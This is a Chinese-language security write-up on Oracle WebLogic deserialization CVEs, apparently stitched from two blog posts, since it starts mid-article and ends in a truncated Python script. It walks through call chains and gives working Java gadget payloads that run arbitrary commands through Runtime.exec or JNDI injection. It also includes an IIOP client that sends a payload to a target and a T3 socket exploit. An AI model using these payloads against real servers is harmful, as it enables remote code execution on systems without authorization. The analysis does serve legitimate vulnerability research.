import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{command[0]})
        };

        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);

        ExtractorComparator extractorComparator = new ExtractorComparator();
        Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
        m_extractor.setAccessible(true);
        m_extractor.set(extractorComparator, chainedExtractor);

        PriorityQueue priorityQueue = new PriorityQueue();
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queueArr=new Object[2];
        queueArr[0]=Runtime.class;
        queueArr[1]=String.class;
        queue.set(priorityQueue,queueArr);
        Field size = priorityQueue.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,queueArr.length);

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, extractorComparator);
        return priorityQueue;
    }
}

再给出通过AbstractExtractor::compare触发的

import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.MultiExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883_1 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
        MultiExtractor multiExtractor = new MultiExtractor();

        Field m_extractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");
        m_extractor.setAccessible(true);
        m_extractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});


        PriorityQueue priorityQueue = new PriorityQueue();
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queueArr=new Object[2];
        queueArr[0]=Runtime.class;
        queueArr[1]=String.class;
        queue.set(priorityQueue,queueArr);
        Field size = priorityQueue.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,queueArr.length);


        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,multiExtractor);
        return priorityQueue;


    }
}

CVE-2020-14644

原理

这个漏洞的触发点在RemoteConstructor.readResolve,这个函数在前一篇文章weblogic古老漏洞梳理有提到,可以先去了解一下。这个函数调用了newInstance

image-20211106215219573

跟进newInstance,这里面先调用了RemotableSupport.get获取到RemotableSupport对象,然后调用了support.realize

image-20211106215356554

先看RemotableSupport.get,三目运算符条件为false,执行(RemotableSupport)s_mapByClassLoader.computeIfAbsent(Base.ensureClassLoader(loader), RemotableSupport::new)

image-20211106215615682

这里由于s_mapByClassLoader为空,会创建一个RemotableSupport对象,然后函数调用开始返回,返回到RemoteConstructor::newInstance,准备继续调用support.realize

image-20211106215921263

跟进support.realize,首先在58行获取了RemoteConstructor的m_definition字段,然后进行注册。这个字段就是我们设置的恶意类的定义信息

image-20211106220144357

紧接着,在64行调用了this.defineClass,将恶意类的定义信息传入

image-20211106220410672

在86行调用了重载的defineClass,准备加载我们的恶意类

image-20211106220504062

加载完之后就返回了,回到RemotableSupport::realize方法中,继续执行definition.createInstance,看名字就能猜到,这是准备创建恶意类的对象了。

image-20211106220629941

跟进去看一下,确实如此。这里获取了构造方法然后调用构造方法创建对象。

image-20211106220647962

在创建对象过程中就会触发类的初始化,静态代码块得到执行,也就是触发了任意代码执行。

漏洞利用

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.ClassPool;
import javassist.CtClass;
import weblogic.cluster.singleton.ClusterMasterRemote;
import ysoserial.payloads.ObjectPayload;
import java.rmi.RemoteException;

public class CVE_2020_14644 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ClassIdentity classIdentity = new ClassIdentity(RemotePayload.class);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(RemotePayload.class.getName());
        ctClass.replaceClassName(RemotePayload.class.getName(), RemotePayload.class.getName() + "$" + classIdentity.getVersion());
        StringBuilder stringBuilder = new StringBuilder("new java.lang.String[] {");
        for (int i = 0; i < command.length; i++) {
            stringBuilder.append("\"");
            stringBuilder.append(command[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
            stringBuilder.append("\"");
            if (i != command.length - 1) {
                stringBuilder.append(",");
            }
        }
        stringBuilder.append("}");
        String cmd = String.format("java.lang.Runtime.getRuntime().exec(%s);", stringBuilder.toString());
        ctClass.makeClassInitializer().insertAfter(cmd);
        RemoteConstructor constructor = new RemoteConstructor(
            new ClassDefinition(classIdentity, ctClass.toBytecode()),
            new Object[]{}
        );
        return constructor;
    }

    public static class RemotePayload implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {

        @Override
        public RemoteConstructor getRemoteConstructor() {
            return null;
        }

        @Override
        public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

        }

        @Override
        public void setServerLocation(String s, String s1) throws RemoteException {

        }

        @Override
        public String getServerLocation(String s) throws RemoteException {
            return null;
        }
    }
}

CVE-2020-14645

原理

这个洞跟2883的前半段是一样的,使用了ExtractorComparator+PriorityQueue的组合,然后往priorityqueue中塞入JdbcRowSetImpl对象,通过UniversalExtractor::extract来反射调用JdbcRowSetImpl::getDatabaseMetaData,然后触发了JNDI注入

来看看这个UniversalExtractor的extract方法,oTarget就是priorityqueue中我们设置的元素,即JdbcRowSetImpl对象。然后由于this.m_cacheTarget为null,我们进入到了75行,调用extractComplex

image-20211104210213359

extractComplex方法会反射找到指定的方法进行调用,这里我们构造的时候指定了方法是getDatabaseMetaData,那么就会调用这个方法。

image-20211104210930995

最后给出完整的调用栈

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

拓展

那么既然这个UniversalExtractor的extract能调用方法,那么除了JNDI还有没有别的利用思路呢?

笔者进行了如下尝试,直接执行Runtime.exec()

UniversalExtractor extractor = new UniversalExtractor("exec()", new Object[]{command}, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);

Runtime object = Runtime.getRuntime();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{object, object};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
return queue;

一运行,结果发现直接报错了,原因也很简单,Runtime类没有实现Serializable接口,没法序列化,很傻逼的尝试。

紧接着,笔者注意到这个UniversalExtractor类实际上是有一个m_aoParam字段的,难道是保存函数参数的?又看了看反射调用方法的入参,确实是将m_aoParam字段传入了方法。

image-20211104213445356

那么是不是意味着方法参数可控?

紧接着笔者自己写了个类进行测试

import java.io.IOException;
import java.io.Serializable;

public class MyProcessBuilderAdapter implements Serializable {
    public void doSome(String[] args) throws IOException {
        Runtime.getRuntime().exec(args);
    }
}

构造poc如下

UniversalExtractor extractor = new UniversalExtractor("doSome()", new Object[]{command}, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);

MyProcessBuilderAdapter object = new MyProcessBuilderAdapter();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{object, object};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
return queue;

一运行,再次报错

image-20211104213700188

debug看看报错原因,发现问题出在了187行,sCName为null,空指针异常

image-20211104213827199

往上看sCName的获取流程,看它为什么为null,跟进getCanonicalName

image-20211104213931448

跟进getValueExtractorCanonicalName,由于UniversalExtractor不是AbstractRemotableLambda的子类,直接返回null

image-20211104214023647

再跟进CanonicalNames.computeValueExtractorCanonicalName

image-20211104214043164

发现,如果aoParam长度大于0,则直接返回空。

image-20211104214116169

那么这下就知道原因了,看来UniversalExtractor虽然可以控制执行函数,但是没法指定参数。等等,还有这里,我们前面分析的都是extractComplex函数里的逻辑。现在跳出这个函数,直接看extract,如果m_cacheTarget可控,是不是就可以直接执行方法了

image-20211104214256412

然而,这个字段是transient修饰的,而且writeExternal在序列化时也并没有将这个字段写入序列化数据中,于是就此作罢。

image-20211104214450801

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;

public class CVE_2020_14645 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
        final ExtractorComparator comparator = new ExtractorComparator(extractor);

        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setDataSourceName(command[0]);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        Object[] q = new Object[]{rowSet, rowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);
        return queue;
    }
}

CVE-2020-14756

原理

这个CVE,为了调用到extractor的extract方法可以说是大费了一番心思。通过前面很长一串的调用链,才最终抵达了extract方法。而到了extract方法之后,后面的流程就比较固定化了。

在分析这个CVE的时候,我们将重点关注从反序列化开始到extract方法调用这一段调用栈。

首先,CVE选择的反序列化入口是AttributeHolder对象,先跟进这个对象的readExternal方法(readExternal和readObject的区别参看之前发的weblogic古老漏洞梳理

image-20211105230732148

这个方法继续调用了重载的方法

image-20211105230750354

在重载方法中调用了ExternalizableHelper.readObject,跟进

image-20211105230819370

继续跟进readObject的重载方法

image-20211105230844592

这里这个三目运算符的条件判断为假,进入到readObjectInternal,在这个方法中,如果AttributeHolder对象的m_oValue字段实现了ExternalizableLite接口,则会进入case 10分支。这条链子在构造的时候将m_oValue设置成了TopNAggregator.PartialResult对象,它实现了ExternalizableLite接口,因此进入了case 10分支。

image-20211105231511946

紧接着,由于in是InboundMsgAbbrev$ServerChannelInputStream类型,不是PofInputStream的子类,于是直接进入到else逻辑,1070行进行了类加载,加载TopNAggregator.PartialResult类(即前面m_oValue指定的类),然后通过反射创建了对象。可以看到,创建对象这里没有任何的防御措施。

image-20211106141638903

继续跟进,在1077行调用了TopNAggregator.PartialResult对象的readExternal方法。首先在180行先调用了一次ExternalizableHelper.readObject,目的是反序列化comparator,这里的comparator既是我们构造时设置的MvelExtractor,在它的extract方法中能够执行恶意代码

image-20211106143141938

紧接着,在182行将comparator设置到了treemap中,跟进instantiateInternalMap方法

image-20211106143313741

回到TopNAggregator.PartialResult的readExternal方法中来,下面开始向treemap中添加元素。

image-20211106143713271

跟进add方法,我们在构造exp的时候将m_cMaxSize设置成2,当前大小为0,所以满足if条件,进入169行

image-20211106143722162

调用treemap.put

image-20211106143820376

在put过程中(省略若干不重要的步骤)最后在WrapperComparator的compare方法中会调用到f_comparator的compare方法,这里的f_comparator就是我们前面提到的MvelExtractor。

image-20211106144459764

由于MvelExtractor没有compare方法,于是会去父类中找,然后就到了我们熟悉的AbstractExtractor::compare,这个方法在2883中见到过,会触发extract的调用。

image-20211106144512130

前面说了MvelExtractor的extract方法能触发代码执行,执行我们指定的恶意代码。到这里这条链子就基本上跟完了。最后贴出完整的调用栈。

exec:617, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getMethod:1119, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
getMethod:1002, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
compileGetChain:396, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
optimizeAccessor:163, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
optimizeAccessor:80, DynamicOptimizer (com.tangosol.coherence.mvel2.optimizers.dynamic)
optimize:159, ASTNode (com.tangosol.coherence.mvel2.ast)
getReducedValueAccelerated:115, ASTNode (com.tangosol.coherence.mvel2.ast)
execute:85, MVELRuntime (com.tangosol.coherence.mvel2)
getDirectValue:123, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
getValue:119, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
getValue:113, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
executeExpression:953, MVEL (com.tangosol.coherence.mvel2)
extract:100, MvelExtractor (com.tangosol.coherence.rest.util.extractor)
compare:143, AbstractExtractor (com.tangosol.util.extractor)
compare:416, SortedBag$WrapperComparator (com.tangosol.util)
compare:1295, TreeMap (java.util)
put:538, TreeMap (java.util)
add:152, SortedBag (com.tangosol.util)
add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)
readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)
readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)
readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)
readObject:2606, ExternalizableHelper (com.tangosol.util)
readObject:2583, ExternalizableHelper (com.tangosol.util)
readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)
readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)
readExternalData:2076, ObjectInputStream (java.io)
readOrdinaryObject:2025, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class CVE_2020_14756 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        StringBuilder stringBuilder = new StringBuilder("new java.lang.String[] {");
        for (int i = 0; i < command.length; i++) {
            stringBuilder.append("\"");
            stringBuilder.append(command[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
            stringBuilder.append("\"");
            if (i != command.length - 1) {
                stringBuilder.append(",");
            }
        }
        stringBuilder.append("}");
        String cmd = String.format("java.lang.Runtime.getRuntime().exec(%s);", stringBuilder.toString());
        MvelExtractor extractor = new MvelExtractor(cmd);
        MvelExtractor extractor2 = new MvelExtractor("");
        SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);
        AttributeHolder attributeHolder = new AttributeHolder();
        sortedBag.add(1);

        Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(sortedBag, extractor);

        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder, sortedBag);
        return attributeHolder;
    }
}

CVE-2020-14825

原理

这个漏洞前半段调用栈跟2883是相同的,来对比一下,左边是14825,右边是2883。

image-20211106161000685

到了后半段,14825选择了LockVersionExtractor

image-20211106162312485

LockVersionExtractor.extract首先调用了this.accessor.initializeAttributes,然后再调用了this.accessor.getAttributeValueFromObject。这里我们在构造poc的时候,选择使用MethodAttributeAccessor这个accessor。先看看this.accessor.initializeAttributes干了什么,发现它调用了this.setGetMethod(Helper.getDeclaredMethod(theJavaClass, this.getGetMethodName(), getParameterTypes));

image-20211106162732010

setGetMethod就是普通的set方法,给getMethod字段赋值,那么赋值成什么,就得看看Helper.getDeclaredMethod返回什么了

image-20211106163127547

跟进Helper.getDeclaredMethod,这个方法的第一个参数javaClass是JdbcRowSetImpl的class对象,第二个methodName是getDatabaseMetaData字符串。这两个参数是哪里来的?methodName很简单,就是从accessor的getMethodName字段获取的。而javaClass就是priorityqueue中的元素对应的class对象,我们在写poc时向prioritqueue中塞一个JdbcRowSetImpl对象,那么这里javaClass就是JdbcRowSetImpl对应的class对象。

image-20211106163143956

if条件不满足,进入到else分支,跟进PrivilegedAccessHelper.getMethod,这里实际上就是通过反射获取了getDatabaseMetaData方法

image-20211106163825214

到这里函数调用就开始逐层返回,this.accessor.initializeAttributes方法调用完毕,回到extract方法中。

image-20211106163949614

继续调用了this.accessor.getAttributeValueFromObject

image-20211106161727114

继续调用重载方法,在这个重载方法中利用反射调用了JdbcRowSetImpl::getDatabaseMetaData触发了JDNI注入,这里的getMethod就是前面在this.accessor.initializeAttributes过程中通过反射获取到然后再调用setGetMethod设置好的。

image-20211106161841499

由于这里我们只能控制invoke的第一个参数,第二个默认为null,只能调用无参的方法,所以利用思路非常有限。如果可以控制invoke的第二个参数的话,那可能就不止JDNI注入这一种打法了。到这里这条链子就基本结束了,给出完整调用栈。

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getAttributeValueFromObject:82, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
getAttributeValueFromObject:61, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
extract:51, LockVersionExtractor (oracle.eclipselink.coherence.integrated.internal.cache)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;

public class CVE_2020_14825 implements ObjectPayload<Object> {
    public Object getObject(String... command) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("r2");
        accessor.setIsWriteOnly(true);
        accessor.setGetMethodName("getDatabaseMetaData");
        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
        jdbcRowSet.setDataSourceName(command[0]);

        PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
        Reflections.setFieldValue(queue,"size",2);

        Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = jdbcRowSet;
        return queue;
    }
}

CVE-2020-14841

这个编号网上没有找到很详细的分析,网上给出的poc与14825是一样的。但是根据官方描述来看,这个CVE应该是通过IIOP协议进行攻击的,于是我就将14825的poc生成的恶意对象通过IIOP协议发送进行攻击,结果是成功触发了漏洞。于是猜测14841大概就是14825的链,不过需要通过IIOP协议触发。

原理

原理参考14825

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_14841 implements ObjectPayload<Object> {
    public Object getObject(String... command) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName(command[0]);
        MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
        methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
        methodAttributeAccessor.setIsWriteOnly(true);
        methodAttributeAccessor.setAttributeName("r2");
        LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "r2");

        final ExtractorComparator comparator = new ExtractorComparator(extractor);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);

        Field comparatorF = queue.getClass().getDeclaredField("comparator");
        comparatorF.setAccessible(true);
        comparatorF.set(queue, new ExtractorComparator(extractor));
        return queue;
    }

}
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.weblogic.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class IIOPAttack {
    static String rhost="iiop://localhost:7005";

    public static void main(String[] args) throws Exception{
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);

        ObjectPayload payload = new CVE_2020_14841();
        Object object = payload.getObject("{恶意ldap服务}");
        context.rebind("r2"+System.nanoTime(), object);
    }
}

CVE-2020-14882&CVE-2020-14883

CVE-2020-14882是一个未授权访问漏洞,14883是一个rce漏洞,但是需要授权。二者合起来就组成了一个未授权RCE。

这个漏洞与之前分析的不同,它不属于反序列化漏洞,漏洞利用涉及到非常多框架的核心源码,要对框架比较熟悉才能掌握,感觉挖这种洞难度也相对来说更大。

这里对这个漏洞不进行分析,原因有二,一是网上有一篇分析得很详细的文章,二就是我觉得我的分析不会写的比他更好了,所以就不写了。

总结

按照协议分

t3:CVE-2020-2883、CVE-2020-14645、CVE-2020-14756、CVE-2020-14825

IIOP:CVE-2020-2551、CVE-2020-14841、CVE-2020-14644

http:CVE-2020-14882、CVE-2020-14883

按攻击类型分

JNDI:CVE-2020-2551、CVE-2020-14645、CVE-2020-14825、CVE-2020-14841

直接RCE:CVE-2020-2883、CVE-2020-14756 、CVE-2020-14644、CVE-2020-14883

权限绕过:CVE-2020-14882

参考文章

Weblogic CVE-2020-2551 IIOP协议反序列化RCE

CVE-2020-2883:Weblogic反序列化

Weblogic CVE-2020-14645

WebLogic CVE-2020-14756 T3/IIOP 反序列化RCE

CVE-2020-14825:Weblogic反序列化漏洞复现

CVE-2020-14882:Weblogic Console 权限绕过深入解析

Weblogic CVE 漏洞总结

前言

原本七八月就打算学weblogic,但是总有种莫名的力量好像在阻止我学它,然后就跑去学别的框架漏洞了。这段时间发现没啥好学的,然后又想起还有weblogic这块硬骨头没啃,就跑来填坑了。

t3协议

在研究weblogic t3反序列化漏洞之前,需要先了解一下t3协议。t3协议是weblogic定制的一种协议,它专门用来为weblogic rmi提供支持。weblogic rmi与java原生提供的rmi的对比图如下,这张图非常清晰的给出了java rmi、weblogic rmi、JRMP、t3之间的关系,摘自这篇文章,同时推荐一下这篇文章,研究weblogic之前先学学这篇文章可以打下很好的基础。

image-20211102225749855

来看看weblogic rmi过程传输的数据格式,图片同样摘自这篇文章

image-20211102230311998

image-20211102230329646

仔细分析一下握手后发送的第一个数据包。可以得到t3协议的基本格式,自上往下分别是

  • 数据包长度(4字节)
  • t3协议头
  • 序列化对象魔术头(fe 01 00 00)
  • 序列化数据
  • 序列化数据魔术头(fe 01 00 00)
  • 序列化数据

image-20211102230440054

了解完t3协议格式之后,我们就可以使用socket编程,按照t3协议发送我们自定义的数据。我们将序列化数据部分更换为恶意gadget,即可触发反序列化漏洞。

CVE-2015-4852

这个洞非常古老,也非常直白。在了解完t3协议之后基本就可以实现攻击。

原理

readObject:343, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

漏洞利用的过程实际上就是构造了一个t3协议格式的数据包,里面包含着反序列化gadget。靶机收到后对数据进行反序列化,触发漏洞。

poc.obj使用ysoserial进行生成,使用CommonCollections1的gadget即可。这个版本的weblogic自带了cc依赖。

import socket
import struct
import re
import binascii
def get_payload(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data=b""
    while True:
        try:
            data += sock.recv(1024)
        except:
            break
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
